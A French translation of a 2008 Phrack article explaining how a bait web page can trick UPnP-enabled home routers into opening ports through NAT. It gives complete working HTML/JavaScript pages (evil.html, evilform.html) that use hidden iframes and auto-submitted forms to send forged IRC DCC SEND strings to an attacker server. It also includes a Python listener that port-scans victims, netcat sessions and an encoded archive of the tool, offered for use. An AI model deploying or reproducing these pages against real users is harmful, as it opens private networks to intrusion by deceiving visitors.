==Phrack Inc.==
Volume 0x0c, Issue 0x41, Phile #0x05 of 0x0f
|=-----------------=[ Clawing holes in NAT with UPnP ]=------------------=|
|=-----------------------------------------------------------------------=|
|=---=[ max_packetz@felinemenace.org <http://www.felinemenace.org> ]=----=|
|=--------------------------=[ April 12th 2008 ]-=-----------------------=|
|=------------=[ Traduit par TboWan pour arsouyes.org ]=-----------------=|
--[ Sommaire
1 - Introduction / Survol du NAT et d'UPnP.
2 - Caractéristiques de l'implémentation
2.1 - Caractéristique de l'implémentation : Protocole IRC : DCC
2.2 - Caractéristique de l'implémentation : Java
2.3 - Caractéristique de l'implémentation : HTML
3 - Tout rassembler avec Python.
4 - Références
5 - Annexe A: Code source
--[ 1 - Introduction / Survol du NAT et d'UPnP.
Bienvenue cher lecteur, ce papier est une courte tentative pour documenter
une technique concrète sur laquelle nous avons travaillé. Bien que notre
technique utilise des technologies très similaires à beaucoup d'autres
attaques, nous ne l'avons encore jamais vue documentée de cette façon
avant, ni vu une implémentation concrète dans la nature. Ce papier est donc
conçu pour répondre à ça.
Notre technique permet à l'attaquant (nous) de forger un site web qui, une
fois visité, fera que la victime forwardera par inadvertance n'importe quel
port de notre choix à travers son NAT, nous permettant de nous connecter
directement à la victime, à l'intérieur de son réseau privé, via UPnP.
Avant de se lancer dans les caractéristiques de la technique, ou les
détails de notre implémentation, vous devez d'abord être familier d'une
paire de concepts explicites. Ce sont : "Network Address Translation" (NAT)
et "Universal Plug and Play" (UPnP).
Heureusement, la plupart des gens qui liront ce papier sont déjà familier
avec le NAT. Pour ceux qui ne le sont pas, le NAT permet, en gros, de
partager une seule adresse IP entre plusieurs machines sans qu'il n'y ait de
conflit. Ceci veut dire qu'un seul ordinateur ou routeur agit comme une
passerelle pour plusieurs autres ordinateurs. Pour en apprendre plus sur
les caractéristiques du NAT, lisez la RFC dans la bibliographie [1].
Pour un utilisateur typique chez lui, le NAT est implémenté par son
modem/routeur ADSL et est assez intégré. Les adresses IP internes sont
assignées par un serveur DHCP sur le routeur et les utilisateurs internes
n'ont quasiment jamais conscience de leur adresse IP externe.
C'est une idée fausse répandue que le NAT fourni une couche de sécurité
impénétrable pour les hôtes internes. Ceci ajoute souvent des erreurs
dans la politique de sécurité des machines internes, et un trou béant pour qui
tente de pénétrer la coquille externe. Il est très courant de trouver des
partages smb accessibles publiquement ou des services pauvrement à jour,
... en utilisant notre technique.
L'autre concept avec lequel vous devez être familier avant de rentrer dans
les sections (que nous espérons) intéressantes de ce papier est
l'"Universal Plug and Play", UPnP.
Universal Plug and Play (UPnP) est un ensemble de protocoles qui ont été
fusionnés par le forum UPnP. Le thème général commun à tous ces protocoles
est qu'ils permettent une implémentation intégrée des communications
réseaux et de données.
La fonctionnalité majeure de cette suite de protocoles qui nous intéresse
dans le cadre de ce papier et la fonctionnalité de NAT punching.
Cette fonctionnalité décrit comment une passerelle peut analyser divers
protocoles qui la traversent pour forwarder des ports à travers le NAT vers
les serveurs internes. Elle est conçue pour permettre à n'importe quel hôte
derrière le NAT de requérir qu'un port soit ouvert à l'extérieur et que
tout le trafic reçu sur ce port soit forwardé vers la machine interne,
créant un nouveau canal de communication. Cette fonctionnalité permet à des
protocoles tel que FTP/SIP/etc de fonctionner. Dans ce cas, la passerelle
responsable du NAT va analyser le flux des protocoles à la recherche de
requête de création d'un nouveau canal de communication. Elle va alors
chercher et remplacer les valeurs de ports et d'IP quand elles passent par
le câble, les remplaçant par leur valeur externe. L'autre bout de la
transaction sait donc qu'il doit se connecter sur les ports et adresses
externes, au lieu des valeurs internes.
Il est courant, actuellement, pour la plupart des modems/ADSL et routeurs
domestiques d'être fournis avec UPnP activé par défaut. Le noyau Linux
supporte aussi UPnP avec ipfilter, cependant, ce n'est pas une option de
configuration par défaut et n'est vraiment actif que quand on utilise une
box Linux comme passerelle.
C'est cette fonctionnalité que nous sommes capables d'exploiter pour créer
un forward de notre choix, nous permettant d'accéder à n'importe quel port
sur un hôte derrière un NAT, sans se soucier de la présence du NAT.
--[ 2 - Caractéristiques de l'implémentation
Dans ce chapitre, nous allons tenter de fournir un survol détaillé de notre
technique elle-même et de discuter des détails de notre implémentation.
Nous allons tenter d'expliquer les critères de sélection des protocoles et
technologies que nous avons utilisés pour implémenter chacun des composants
de notre technique.
Pour ceux d'entre vous qui sont familier des technologies associées à notre
implémentation, ce survol devrait être suffisant pour vous permettre
d'implémenter notre technique vous-même. Cependant, nous aimerions faire
remarquer que notre technique peut être implémentée par d'autres moyens, et
notre implémentation n'est qu'un exemple. Nous n'allons discuter que des
technologies utilisées par felinemenace dans le reste de ce papier.
La prémisse de base de notre technique est d'encapsuler un protocole
(spécifiquement l'un des protocoles qui est géré par la fonctionnalité NAT
punching de UPnP) dans un deuxième protocole de transport. De cette façon,
quand la passerelle voit le trafic, elle interprétera la chaîne du
protocole encapsulé comme une requête d'ouverture de port, et agira en
conséquent.
Notre implémentation commence par convaincre la victime de visiter un site
web de notre choix. Ça peut être fait par social engineering, cross site
scription, phishing, baiting [NDT-1], publicité, etc. Une fois que la
victime a accédé à notre site, nous avons suffisamment de contrôle sur son
navigateur pour le rediriger vers n'importe quel port de notre choix, ou
n'importe quelle adresse. Cette flexibilité nous permet d'utiliser
quasiment n'importe quel protocole à encapsuler dans la session web. Le
comportement susmentionné rend (du point de vue des auteurs),
l'utilisation de HTML/Javascript, comme mécanisme de livraison, un choix
très efficace.
Quand la victime accède au site web, un faux site (un appât) est affiché.
C'est fait pour ne pas encourager l'utilisateur à fermer la page
immédiatement pendant le chargement.
À partir de là, l'attaquant utilise l'une des méthodes de redirection de
navigateur, réponse HTTP, redirection javascript, etc pour rediriger le
navigateur de la victime vers un port choisi par l'attaquant. Nous avons
choisi javascript puisqu'une grande partie de la technique était déjà
écrite en javascript. C'est documenté dans la section sur le HTML du papier.
L'attaquant choisi un port qui correspond à un protocole particulier qui
effectue un transfert de fichier en dehors du protocole de la communication
initiale. Dans notre cas, nous avons choisi la fonctionnalité DCC du
protocole IRC [3]. Notre raison pour ce choix étaient simplement que nous
étions déjà familier avec lui, cependant, n'importe quel protocole qui
répond au critère est bon. L'attaquant force alors (en utilisant le
JavaScript qui tourne sur l'ordinateur de la victime à cette étape) à
envoyer du texte à partir du protocole approprié (DCC dans notre cas) vers
l'attaquant. Si la passerelle responsable du NAT a la fonctionnalité UPnP
activée, le périphérique ouvrira alors un trou (comme mentionné plus haut)
et autorisera l'attaquant à accéder directement aux machines derrière le
NAT.
En redirigeant plusieurs fois, un attaquant est capable d'ouvrir une
plage de ports, pour scanner l'hôte, ou se connecter à n'importe quel
service qui tourne sur la machine locale.
Nous en avons fournis une implémentation pour que vous l'utilisiez, mais
évidemment, l'écrire vous-même le rendra moins détectable / plus puissante.
Maintenant que nous avons regardé la technique de plus haut, nous allons
plonger dans chacune des technologies qui, regroupées, font marcher notre
technique.
Pour résumer cette section, les technologies suivantes sont couvertes par
ce papier :
o Protocole IRC : DCC
o Une applet Java.
o HTML avec JavaScript.
o Du code Python pour ./scriptkiddifier le processus.
Le reste de ce papier a été divisé en un parcours des entrées et sorties de
chacune des technologies mentionnées, et de la manière dont on peut les
manipuler à nos fins.
Chacune des sections suivantes va décrire une seule technologie et la
manière de l'utiliser.
--[ 2.1 - Caractéristique de l'implémentation : Protocole IRC : DCC
La première étape de notre implémentation est de trouver un protocole qui
requiert une nouvelle socket de connexion pour communiquer directement
avec l'utilisateur terminal.
Puisque, comme on l'a déjà mentionné, il existe une multitude de protocoles
qui répondent à notre critère, pour ce papier, nous allons en choisir un en
particulier, RFC-1459 [3] Internet Relay Chat.
Puisque je suis sûr que la plupart des lecteurs de ce papier sont déjà
intimement familiers avec IRC, je ne donnerai qu'une brève réduction aux
aspects du protocole qui nous intéressent dans le cadre de ce papier.
En gros, IRC requiert que chaque client se connecte à un serveur central,
typiquement sur le port 6667. Quand un client veut envoyer un message à un
autre, il envoie le message au serveur en utilisant la socket de connexion
existante qu'il a déjà ouvert. Le serveur transfert alors le message au
client destinataire.
Si deux des utilisateurs d'un serveur IRC veulent communiquer sans que le
serveur ne soit responsable du transfert des messages (lire : échanger des
0day top secrets pour juarez [NDT-2]) ils peuvent établir un canal de
communication séparé. C'est accompli en utilisant un sous-ensemble du
protocole IRC connu sous le nom de DCC (Direct Client to Client).
DCC se déroule ainsi : un client envoie une requête pour établir une
connexion hors bande [NDT-3] avec un autre client du serveur IRC. Cette
requête contient à la fois l'IP et le port sur lesquels la communication
aura lieu. Le deuxième client n'a alors plus qu'à faire une
connexion TCP avec ces valeurs, et les utiliser pour les communications
suivantes.
Ce qui se résume en gros à la ligne suivante :
"\x01DCC SEND fake.exe 2130706433 1337\x01\r\n\r\n"
C'est le format d'une commande DCC SEND. Comme vous pouvez le voir, la
commande entière est entourée de caractères \x01. Elle contien les mots "DCC
SEND" suivi du nom du fichier qui va être envoyé. Après ça, on trouve
l'adresse IP de l'hôte qui fait la requête, en format numérique décimal, et
enfin, le port sur laquelle la transaction aura lieu. Le format de
l'adresse IP est expliqué plus complètement par optiklenz dans Keen
Veracity 6 [5].
Cet aspect du protocole ne fonctionnera clairement pas dans un
environnement NAT (sans UPnP). Après avoir reçu l'adresse IP et les
informations de port, l'hôte qui se connecte échouera en tentant de se
connecter à une adresse locale (l'adresse de la machine dans le NAT), et
n'arrivera jamais à joindre la bonne destination. C'est pour cette raison
que les passerelles où UPnP est activé doivent analyser le trafic IRC à la
recherche de commandes DCC. Quand elles sont détectées, la passerelle va
remplacer l'adresse IP de la requête avec sa propre adresse. Quand la
connexion est reçue sur le port spécifié, la passerelle va la forwarder
dans le NAT vers l'hôte original. C'est ce comportement que, en tant
qu'attaquant, nous pouvons exploiter à notre avantage.
Si, en tant qu'attaquant, nous forçons la victime à envoyer une requête DCC
SEND forgée (comme celle ci-dessus) vers le port 6667, il y a beaucoup de
chance que la passerelle ouvrira le port spécifié dans la requête, si UPnP
est activé. Le truc cool de ce protocole, c'est qu'il n'y a pas d'adresse
IP spécifiée pour la connexion. Ça veut dire qu'une fois que la requête a
pris place, une connexion depuis n'importe où au monde sera complètement
valide.
Plusieurs implémentations d'UPnP ne font même pas attention que l'adresse
IP spécifiée dans la commande DCC SEND corresponde à celle de la victime.
Dans ce cas, l'étape décrite jusqu'ici est suffisante pour ouvrir un trou
béant dans la passerelle et se connecter à la victime. Cependant, dans la
plupart des cas, nous devons d'abord établir l'adresse IP interne de la
machine de la victime.
Heureusement, il y a une façon facile de le faire à partir du web, que nous
allons décrire dans la section suivante.
--[ 2.2 - Caractéristique de l'implémentation : Java
La manière la plus facile d'identifier l'adresse IP de la victime depuis le
web est d'utiliser une applet java. Les applets sont capables de créer un
nouvel objet Socket et d'y appeler la méthode "getLocalAddress()" pour
obtenir l'adresse locale de l'hôte (évidement).
Le code java suivant l'illustre :
String s = (new Socket(s2, i)).getLocalAddress().getHostAddress();
Heureusement pour nous, il existe déjà une chouette applet Java
pré-packagée appelée MyAddress [4] qui fait tout ceci et peut être
téléchargée directement sur leur site web.
L'applet supporte une variété de manière d'accéder à l'IP locale une fois
obtenue. Une manière est de spécifier le paramètre "mayscript" dans la
balise applet; ceci a pour conséquence d'appeler une fonction javascript
(MyAddress() par défaut) une fois que l'IP est obtenue. C'est pratique,
puisqu'on peut bloquer effectivement jusqu'à avoir reçu cette donnée
nécessaire.
Le code HTML suivant démontre l'utilisation de cette applet et de la
fonction de rappel MyAddress(). En plus (comme mentionné plus haut dans la
section sur le protocole DCC), puisque l'adresse IP locale doit être entrée
dans le format "defunct", nous avons fourni la fonction defunct() qui
traduit le format décimal vers defunct :
<applet code="MyAddress.class" name="myaddress"
mayscript width="0" height="0"></applet>
<script>
<!--
var ip = null;
function MyAddress(i) {ip = defunct(i); doevil();}
function defunct(sip) {
if(sip == null) return 0;
sip += ''; // ;( make sure it's a string
var dip = 0;
var a = sip.split(".");
var l = a.length;
for(var i=0; i<l; i++)
dip += a[l-i-1]*Math.pow(256,i);
return dip;
}
-->
</script>
--[ 2.3 - Caractéristique de l'implémentation : HTML
Maintenant qu'on peut créer une chaîne DCC SEND propre, le prochain
problème à venir est : comment forcer le client à envoyer sans le savoir la
chaîne encapsulée vers un serveur compromis, et donc, bidouiller sa
passerelle pour qu'elle forwarde un port que nous spécifions. Les
formulaires HTML soumis automatiquement via javascript sont très utile pour
ça.
Puisque les chaînes DCC (et plein d'autres protocoles que vous pourriez
choisir pour cette technique) requièrent plusieurs lignes de communication
pour déclencher la fonctionnalité NAT traversal d'UPnP, nous affectons
"multipart/form-data" à l'attribut "enctype". Ceci nous permet de soumettre
des caractères de retour chariot et de nouvelle ligne dans le champ form.
La balise form suivante montre comment spécifier le enctype :
<form
id="evilform"
name="evilform"
action="http://evilserver.com:6667/"
method="post"
enctype="multipart/form-data"
>
Pour automatiser la soumission de notre chaîne DCC (la payload), nous
utilisons javascript pour soumettre le formulaire (après que l'adresse IP
internet a été obtenue) via la méthode submit() du formulaire, comme suit
:
function doevil(ip, port) {
var frm = document.forms['evilform'];
if(frm == null) return;
frm.payload.value = unescape("%01")
+ "DCC SEND evil.txt " + ip + " " + port +
+ unescape("%01%0a%0d");
try { frm.submit(); } catch(err) { return; }
}
Comme vous pouvez le voir, nous avons utilisé le javascript pour
construire la chaîne de la payload à cause des caractères de fin de ligne
et de retour nécessaires (en fonction de l'implémentation de la
passerelle).
Le code HTML suivant montre l'état du code jusqu'à présent. Il inclut
l'utilisation de l'applet MyAddress mentionnée dans la section précédente.
<html>
<head>
<title>(Untitled)</title>
<applet code="MyAddress.class" name="myaddress"
mayscript width="0" height="0"></applet>
<script>
<!--
var port = 1337;
function MyAddress(i) {ip = defunct(i); doevil(ip, port);}
function defunct(sip) {
if(sip == null) return 0;
sip += ''; // ;( make sure it's a string
var dip = 0;
var a = sip.split(".");
var l = a.length;
for(var i=0; i<l; i++)
dip += a[l-i-1]*Math.pow(256,i);
return dip;
}
function doevil(ip, port) {
var frm = document.forms['evilform'];
if(frm == null) return;
frm.payload.value = unescape("%01")
+ "DCC SEND evil.txt " + ip + " " + port +
+ unescape("%01%0a%0d");
try { frm.submit(); } catch(err) { return; }
}
-->
</script>
</head>
<body>
<form
id="evilform"
name="evilform"
action="http://evilserver.com:6667/"
method="post"
enctype="multipart/form-data"
>
<input type="input" id="payload"
name="payload" value="null">
</form>
</body>
</html>
En liant simplement netcat au port 6667 de evilserver.com, ce code est
suffisant pour se connecter au port "port" une fois que la victime a
regardée la page web, comme l'extrait suivant le montre :
-[max@evilserver:~/simple]$ nc -lp 6667
POST / HTTP/1.1
Host: evilserver.com:6667
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.13)
Gecko/20080311 Firefox/2.0.0.13
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,
text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://evilserver.com/simpletest.html
Content-Type: multipart/form-data; boundary=---------------------------
162151946613101846322123277333
Content-Length: 213
-----------------------------162151946613101846322123277333
Content-Disposition: form-data; name="payload"
DCC SEND evil.txt 16909060 1337NaN
-----------------------------162151946613101846322123277333--
Vous pouvez voir que la victime s'est connectée à notre page
(simpletest.html) et que la page a automatiquement soumis notre chaîne DCC
SEND. En réutilisant netcat, nous pouvons nous connecter à l'ip et au port
ci-dessus (utiliser le format defunct marche bien avec nc) :
-[max@evilserver:~/simple]$ nc 16909060 1337
muahahaha
what are you doing here?!
Voici à quoi ça ressemble du côté de la victime :
-[victim@QQ:~]$ nc -lp 1337
muahahaha
what are you doing here?!
Évidement, il y a quelques désavantages significatifs à utiliser cet
exemple simplifié ... Qui désire s'asseoir et surveiller manuellement ses
connexions et ensuite se connecter manuellement à ses victimes ? Et que se
passerait-il si vous vouliez vous connecter à plusieurs ports ? Est-ce que
ça ne va pas mettre la puce à l'oreille de la victime (ou au moins l'ennuyer
vigoureusement) s'il n'y a rien d'autre qu'une page suspecte à regarder ?
Et si on mettait quelque chose d'intéressant ? Comme par exemple un article
....
Le sujet des mécanismes d'écoute et de connexion est géré dans la
prochaine section de ce chapitre. Le problème de contenu et la capacité à
forwarder plusieurs ports par visites sont traités en créant une page
supplémentaire (evil.html) qui contient deux frame HTML, l'une est cachée et
l'autre est visible. Pendant que la victime est distraite par le contenu de
la frame visible (goodframe), la frame cachée (evilframe) charge une
deuxième page (evilform.html) pour pouvoir poster (autant de fois qu'on le
veut) vers evilserver.
Le code pourrait ressembler à quelque chose comme ceci (notez qu'on a gardé
le code MyAddress dans evil.html; ça n'aurait aucun sens de le charger
plusieurs fois) :
evil.html :
<html>
<head>
<title>(Untitled)</title>
<applet code="MyAddress.class" name="myaddress"
mayscript width="0" height="0"></applet>
<script type="text/javascript">
<!--
var ports = [135,137,138,139,22,1337];
var port = null;
var ip = null;
function MyAddress(i) {ip = defunct(i); openports();}
function defunct(sip) {
if(sip == null) return 0;
sip += ''; // ;( make sure it's a string
var dip = 0;
var a = sip.split(".");
var l = a.length;
for(var i=0; i<l; i++)
dip += a[l-i-1]*Math.pow(256,i);
return dip;
}
function openports() {
if(!ports || !ip) return;
for(port in ports)
document.getElementById('evilframe').src = 'evilform.html';
}
-->
</script>
</head>
<body style="padding: 0px; border:none; margin:0px;">
<iframe name="evilframe" id="evilframe" src=""
width="0" height="0" frameborder="0"></iframe>
<iframe name="goodframe" id="goodframe"
src="http://google.com" width="100%" height="100%"
frameborder="0">
</iframe>
</body>
</html>
Pendant le chargement, evilform va accéder aux variables "port" et "ip" de
evil.html (celles de son parent) pour construire la chaîne DCC de payload
et ensuite poster :
evilform.html:
<html>
<head>
<title>(Untitled)</title>
</head>
<script>
<!--
function doevil(ip, port) {
var frm = document.forms['evilform'];
if(ip == null || port == null || frm == null) return;
frm.internal_ip.value = 'internal_ip:'+ip;
frm.internal_port.value = 'internal_port:'+port;
frm.payload.value = unescape("%01")
+ "DCC SEND evil.txt " + ip + " " + port +
+ unescape("%01%0a%0d");;
window.parent.formposting();
try { frm.submit(); } catch(err) { return; }
}
-->
</script>
<body onload="doevil(window.parent.ip, window.parent.port)">
<form
id="evilform"
name="evilform"
action="http://evilserver.com:6667/"
method="post"
enctype="multipart/form-data"
>
<input type="input" id="payload" name="payload" value="null">
<input type="input" id="internal_ip" name="internal_ip" value="null">
<input type="input" id="internal_port" name="internal_port" value="null">
</form>
</body>
</html>
Notez que evilform.html est aussi en train de placer deux variables forms
additionnelles (avec quelques balises pour rendre plus faciles nos regexp
plus tard) pour que le listener puisse noter les ports et ip internes de la
victime. Puisque ces variables ne sont pas dans une chaîne de protocole
(comme la chaîne de DCC send), la passerelle ne les remplacera pas avec les
valeurs externes.
Mais malheureusement, le code ci-dessus introduit une situation de
compétition (race condition) : vous ne pouvez pas savoir si evilform.html a
eu assez de temps pour charger et poster avant d'avoir été rechargé. Nous
avions d'abord pensé que ça pouvait être évité si le service qui écoute sur
le port 6667 de evilserver.com répondait avec une page invoquant une
fonction de rappel dans la page parente, de la manière suivante :
<script>window.parent.imdone();</script>
Malheureusement, les navigateurs modernes limitent l'accès au données à
travers les frames si le système, domaine ou port de la page est différent.
Parce que notre post est nécessairement vers un autre port (6667 au lieu de
80), le code ci-dessus génère toujours une exception.
Notre solution a été de pallier à ce problème en mettant un délai assez
grand après que evilform.html a commencé à se charger, pour être
raisonnablement sûr que la page a fini son post automatique avant de la
recharger. Puisque javascript n'a pas de fonction sleep() (que nous
pourrions trouver), nous avions utilisé window.setTimeout(fn, t) :
evil.html:
...
function MyAddress(i) {ip = defunct(i); opennextport();}
...
function formposting() {
window.setTimeout('opennextport()', 1000)
}
function opennextport() {
if(!ports || cp < 0 || cp > ports.length) return;
port = ports[cp++];
document.getElementById('evilframe').src = 'evilform.html';
}
...
evilform.html:
...
function doevil(ip, port) {
var frm = document.forms['evilform'];
if(ip == null || port == null || frm == null) return;
frm.internal_ip.value = 'internal_ip:'+ip;
frm.internal_port.value = 'internal_port:'+port;
frm.payload.value = unescape("%01")
+ "DCC SEND evil.txt " + ip + " " + port +
+ unescape("%01%0a%0d");;
window.parent.formposting();
try { frm.submit(); } catch(err) { return; }
}
...
Il reste encore un problème artistique avec notre code : le titre de
evil.html ne correspondra pas à celui de notre page d'appât. Si la page
d'appât est hébergée via le même système sur le même domaine et port que
evil.html, alors, on peut facilement y remédier avec ce petit morceau de
code :
function settitle() { document.title =
window.frames['goodframe'].document.title; }
...
<body onload="settitle()">
Cependant, comme on l'a déjà mentionné, si la page d'appât est hébergée sur
un serveur différent utilisant un système différent, accède au titre de
document de goodframe, ça générera une exception. dans tous les cas, si la
victime a suivi un lien internet, le titre sera obsolète. Notre solution a
été de d'entourer l'affectation par un try / catch et de mettre un timeout
pour rappeler settitle toutes les 350 milisecondes :
function settitle() {
try{ document.title =window.frames['goodframe'].document.title;}
catch(err) {return;}
window.setTimeout('settitle()', 350);
}
Voici le code final :
evil.html:
<!-- evil.html -->
<html>
<head>
<title>(Untitled)</title>
<applet code="MyAddress.class" name="myaddress"
mayscript width="0" height="0"></applet>
<script type="text/javascript">
<!--
var ip = null;
var port = null;
var ports = [135,137,138,139,22,1337];
var cp = 0;
function MyAddress(i) {ip = defunct(i); opennextport();}
function settitle() {
try{ document.title =window.frames['goodframe'].document.title;}
catch(err) {return;}
window.setTimeout('settitle()', 350);
}
function defunct(sip) {
if(sip == null) return 0;
sip += ''; // ;( make sure it's a string
var dip = 0;
var a = sip.split(".");
var l = a.length;
for(var i=0; i<l; i++)
dip += a[l-i-1]*Math.pow(256,i);
return dip;
}
function formposting() {
window.setTimeout('opennextport()', 1000)
}
function opennextport() {
if(!ports || cp < 0 || cp > ports.length) return;
port = ports[cp++];
document.getElementById('evilframe').src ='evilform.html';
}
-->
</script>
</head>
<body onload="settitle()" style="padding: 0px; border:none;margin:0px;">
<iframe name="evilframe" id="evilframe" src=""
width="0" height="0" frameborder="0"></iframe>
<iframe name="goodframe" id="goodframe" src="http://google.com"
width="100%" height="100%" frameborder="0"></iframe>
</body>
</html>
evilform.html:
<html>
<head>
<title>(Untitled)</title>
</head>
<script>
<!--
function doevil(ip, port) {
var frm = document.forms['evilform'];
if(ip == null || port == null || frm == null) return;
frm.internal_ip.value = 'internal_ip:'+ip;
frm.internal_port.value = 'internal_port:'+port;
frm.payload.value = unescape("%01")
+ "DCC SEND evil.txt " + ip + " " + port +
+ unescape("%01%0a%0d");;
window.parent.formposting();
try { frm.submit(); } catch(err) { return; }
}
-->
</script>
<body onload="doevil(window.parent.ip, window.parent.port)">
<form
id="evilform"
name="evilform"
action="http://evilserver.com:6667/"
method="post"
enctype="multipart/form-data"
>
<input type="input" id="internal_ip" name="internal_ip" value="null">
<input type="input" id="internal_port" name="internal_port" value="null">
<input type="input" id="payload" name="payload" value="null">
</form>
</body>
</html>
Voilà [NDT-4]. Maintenant, vous pouvez avoir une paire de pages qui peuvent
être utilisées pour ouvrir des ports pour se connecter à des boxes derrière
des routeurs NAT avec UPnP activé. La section suivante détaille les
composants finaux de notre implémentation : le listener.
--[ 2.4 - Caractéristique de l'implémentation : Listener
Éventuellement le composant le plus trivial de notre implémentation, c'est
le listener. Ce service va rester sur evilserver.com et écouter le port de
notre choix (6667 pour IRC/DCC et notre code ci-dessus).
Quand la victime navigue sur evil.html et poste par inadvertance
evilform.html, le listener sera responsable de la réception des
connexions. Ça peut être trivialement implémenté en python en utilisant le
module "SocketServer". Voici un petit exemple pour ça :
class RequestHandler(SocketServer.StreamRequestHandler):
def handle(self):
while(True):
try:
line = self.rfile.readline()
except:
return
# begin listening for new connexions.
tcpserver = SocketServer.TCPServer(('localhost', port),RequestHandler)
tcpserver.serve_forever()
L'implémentation du listener fournie dans ce papier va aussi tenter de se
connecter vers la victime à travers la passerelle, scanner effectivement
les ports de la victime, derrière le NAT.
Voici le code qui le fait :
def scan(self, ip, port):
sock = socket.socket()
sock.settimeout(1)
ret = sock.connect_ex((ip,int(port))) == 0
sock.close()
return ret
Le code du listener (whiskers.py) peut être généré avec le script inclus en
annexe A.
La sortie de whiskers est la suivante :
-[max@evilserver:~]$ python whiskers.py
***********************************************************
Sat, 12 Apr 2008 01:13:17 GMT: Starting server....
Sat, 12 Apr 2008 01:13:17 GMT: Server started: 1.2.3.1337 listening on 6667
Sat, 12 Apr 2008 01:13:39 GMT: [+] Opened hole for port: 135 on ip: 1.2.3.4
Sat, 12 Apr 2008 01:13:39 GMT: [+] ---- Internal port: 135 on ip:
192.168.0.100 - closed.
Sat, 12 Apr 2008 01:13:40 GMT: [+] Opened hole for port: 137 on ip: 1.2.3.4
Sat, 12 Apr 2008 01:13:40 GMT: [+] ---- Internal port: 137 on ip:
192.168.0.100 - closed.
Sat, 12 Apr 2008 01:13:42 GMT: [+] Opened hole for port: 138 on ip: 1.2.3.4
Sat, 12 Apr 2008 01:13:42 GMT: [+] ---- Internal port: 138 on ip:
192.168.0.100 - closed.
Sat, 12 Apr 2008 01:13:43 GMT: [+] Opened hole for port: 139 on ip: 1.2.3.4
Sat, 12 Apr 2008 01:13:44 GMT: [+] ---- Internal port: 139 on ip:
192.168.0.100 - closed.
Sat, 12 Apr 2008 01:13:45 GMT: [+] Opened hole for port: 22 on ip: 1.2.3.4
Sat, 12 Apr 2008 01:13:45 GMT: [+] ---- Internal port: 22 on ip:
192.168.0.100 - open.
Sat, 12 Apr 2008 01:13:53 GMT: Server stopped.
Comme vous le voyez, la victime a un service qui tourne sur le port 22.
--[ 3 - Tout rassembler avec Python.
Puisque c'est assez encombrant de se souvenir du bit à changer où et
quand, du protocole que l'on doit utiliser et comment, nous avons fourni un
script python extensible qui génère deux pages web (avec des options pour
leur donner un nom un peut plus inoffensif), MyAddress.class et un listener
basé sur les paramètres spécifiés.
Tapez ./claw.py -h pour l'aide.
--[ 4 - References
[1] Network Address Translation :: http://www.faqs.org/rfcs/rfc1631.html
[2] UPnP NAT Traversal
[3] Khaled would be proud :: http://www.mirc.co.uk/help/rfc1459.txt
[4] MyAddress Java Applet
:: http://reglos.de/myaddress/MyAddress.html
[5] Defunct IP address representation
http://www.mirrors.wiretapped.net/security/info/textfiles/keen-veracity/ ..
kv6.txt
--[ 5 - Annexe A: Code source
Le code source utilisé dans ce papier a été écrit par arachne. Nous avons
vraiment apprécié le travail qu'elle a fait dans ce projet.
begin 644 claw.tgz
M'XL(`,`+`$@``]1:_U?;QK+OK]9?L18AEH(M!`D),3B!``FT@%5P<I,2ZB/;
M`NM&EO0D&?#M[?_^/C.[DB7CM'WWG9[SGD^(5J/9V=GYOB,-`_?>BF<__)T_
M&[]7MBVO+[<J5]O>VMAX\?*'C0UY\_+%BQ_LC><O[,T?A/VW<J5^TS1S$R%^
M<!-W.`Z][^+]V7.Y&;NX_C_YK=37IVFR/O##]7B6C:-0TW5=:Q_RQ9_$49*)
M=);FPULOB^*L>.`%WG!^%PV_><7==)J/+K/$#V]/NIKVZ>CB\J1[+CI"MRW;
MVM"UPZ/WE[C]3;^/;OS`T]OZ_=A/OWE)"J/4FT*?N`/UX&RV/QHE7II:P\!-
M4_UW[?*X>]'K.CVBH-^-C]MQVVE'[4%;UTZ[YQ_R)V,OB'7M;/]S'^N_ZUZ>
M]+X`_!QKO_OX`:/W;I!ZVIV7#*+4SV:`V)J7)/UHFF&,S5MI-@)`&WF#Z>UC
M\"1=`ARYF?L8"A(W8IJZMYZ!61U=-]M:33_TTSAP9ZG(QIY\*OSP)DHF;N9'
MH<"(GV#;]\*-X\`?\@-+B`,W%`-/W/G>O3<2]WXV9LS66*2X&8YUK<9,&SI?
M1!3JIE;S;P16%W7(1L?Z-7!F$)-N<GMW95^+-:&WA8X+L(`>0WV9>/.FM!$H
M1B?E71Y<G#@]J+2M7=VMIM=:#]H3<1+=)NX$QA)ZB9MYV-A]).!GF3\4Q[VS
M4Q%CCZDPO#L_L,;9)-">"AK3GOE>#&8"HG*G068*;,G-Q%!N=9IBHUDDHM@+
MQ2V(W[LSH8VC`/3N?%=\=$('@NE!"HJ`F'C#L1OZZ80E.8I@C"`)/O$/E&"F
M`]`$^9.+`W%X<"`NC\X/1>"'I`;ATJR)B*,TLS3M\.3RX'3_Y.SHHBWW.HQ&
M'A%RN@<@P63<+/,F<4:T1]XD"M.,A,"*&;BI/]1(H$,_)I8C,@=B:.J<.S2#
M/":EO;IB$#U@QV.?J(KS_1Z6_WBY_^&HK:VFX@IN"!M(K\75A!P$5Y>OFE9C
M0*U6HQ5I2$)+4IA'`,$FT7WJT4KXYX=^YN>\P1!J-?#N#K]!@(=2>"RA0DT"
MEC,-T]@;^C>^-[*TFJN6(H:G#W[@N\E,KLE*(ZE)LX[=61"YHQVY3.@-A_!D
M0AY-F9O#[AFHPVJ`ZB43/TUI=V"$\1>YF1O*(D=:E^WQ$G;=&D#>?M8G8ZO5
MR")<&4!(ZI*G6\6G%`U,1GHBS(&7O1_#R`@SMV3XF#?@:5!Y@;R,2VC->_B.
MT%IC(*?CZ%Z:(<4G`%MTI0>0`6Z/Q7`,Z=5JQ_A?<LGF%D)VF?0!.$F5.>;B
M1_?.O1PF/BR0^?=YHO?@#:<9\UIF$UY,<QZSJ"RQGT5]<K6:BZ4G$[>5>K$K
M%PM\\`5),IYDL#"C.4M_RLTCR1$1IKWQ?*N)_U[1?]OTW^NF>"HV-XF]6`QI
MW5K-H0SS=TF'9[Q\^?*5A6'+H<"61<,HJ-6Z"`[139O"Q<(<@O"\ME-$&1?!
M;SI`@A2S:,J1#)8H(K"7R#5RPBD9"W`:)-YO'NWTCM03#A//A=L626J'?%I,
